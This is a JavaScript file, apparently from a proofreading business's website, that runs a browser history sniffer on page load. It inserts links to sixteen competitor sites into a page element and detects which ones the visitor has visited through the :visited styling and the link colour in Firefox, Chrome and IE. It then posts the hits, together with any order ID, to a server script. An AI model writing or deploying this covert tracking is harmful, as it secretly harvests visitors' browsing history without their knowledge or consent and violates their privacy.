/*##################################################################################################################

	// Browser history sniffer

##################################################################################################################*/

// Check for user agent (browser)
// -----------------------------------------------------------------------------------------------------------------
var chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;
var ie = navigator.userAgent.toLowerCase().indexOf('msie') > -1;

// Define competitors array
// -----------------------------------------------------------------------------------------------------------------
var competitors = new Array();
competitors[0] = 'http://www.copyediting.co.uk';
competitors[1] = 'http://www.editage.com';
competitors[2] = 'http://www.editamerica.com';
competitors[3] = 'http://www.editavenue.com';
competitors[4] = 'http://www.edittrain.co.uk';
competitors[5] = 'http://www.firstediting.com';
competitors[6] = 'http://www.grammar101.com';
competitors[7] = 'http://www.grammarly.com';
competitors[8] = 'http://www.plainwords.co.uk';
competitors[9] = 'http://www.proof-reading-service.com';
competitors[10] = 'http://www.proofwrite.co.uk';
competitors[11] = 'http://www.stephenlloydtraining.co.uk';
competitors[12] = 'http://www.studentproofreading.co.uk';
competitors[13] = 'http://www.supaproofread.com';
competitors[14] = 'http://www.theproofreaders.com';
competitors[15] = 'http://www.wordsworthreading.co.uk';

// Define browser default colors if needed
// -----------------------------------------------------------------------------------------------------------------
if(chrome) {

	var visitedColor = 'rgb(255, 0, 0)';

} else if(ie) {

	var visitedColor = '#ff0000';
	
}

// Run browser history sniffer
// -----------------------------------------------------------------------------------------------------------------
$(document).ready(function() {
	
	// Define results array
	// -------------------------------------------------------------------------------------------------------------
	var hits = new Array();
	
	// Loop through competitors
	// -------------------------------------------------------------------------------------------------------------
	for(i = 0; i <= competitors.length - 1; i++) {
	
		// Add link to DOM
		// ---------------------------------------------------------------------------------------------------------
		$('#sniffer').append('<a href="' + competitors[i] + '">' + competitors[i] + '</a>');
		
	}
	
	// Check if Firefox is in use
	// -------------------------------------------------------------------------------------------------------------
	if(firefox) {
		
		$('#sniffer a:visited').each(function() {
			
			hits.push($(this).html());
			
		});

	// Check if Chrome is in use
	// -------------------------------------------------------------------------------------------------------------
	} else if(chrome) {
	
		$('#sniffer a').each(function() {
			
			if($(this).css('color') == visitedColor) {
			
				hits.push($(this).html());
				
			}
			
		});
	
	// Check if IE is in use
	// -------------------------------------------------------------------------------------------------------------
	} else if(ie) {
	
		$('#sniffer a').each(function() {
			
			if($(this).css('color') == visitedColor) {
			
				hits.push($(this).html());
				
			}
			
		});
		
	}
	
	// Check for hits
	// ---------------------------------------------------------------------------------------------------------------
	if(hits.length > 0) {
	
		// Check if user has ordered
		// -----------------------------------------------------------------------------------------------------------
		var o_id = (typeof ORDER_ID != 'undefined') ? ORDER_ID : 'false';
	
		// Send results to processor
		// -----------------------------------------------------------------------------------------------------------
		$.post(ROOT + "scripts/sniffer/ajax.php", {'hits[]': hits, order:o_id}, function(data) {
		
			//alert(data);
		
		});
			
	}
	
});


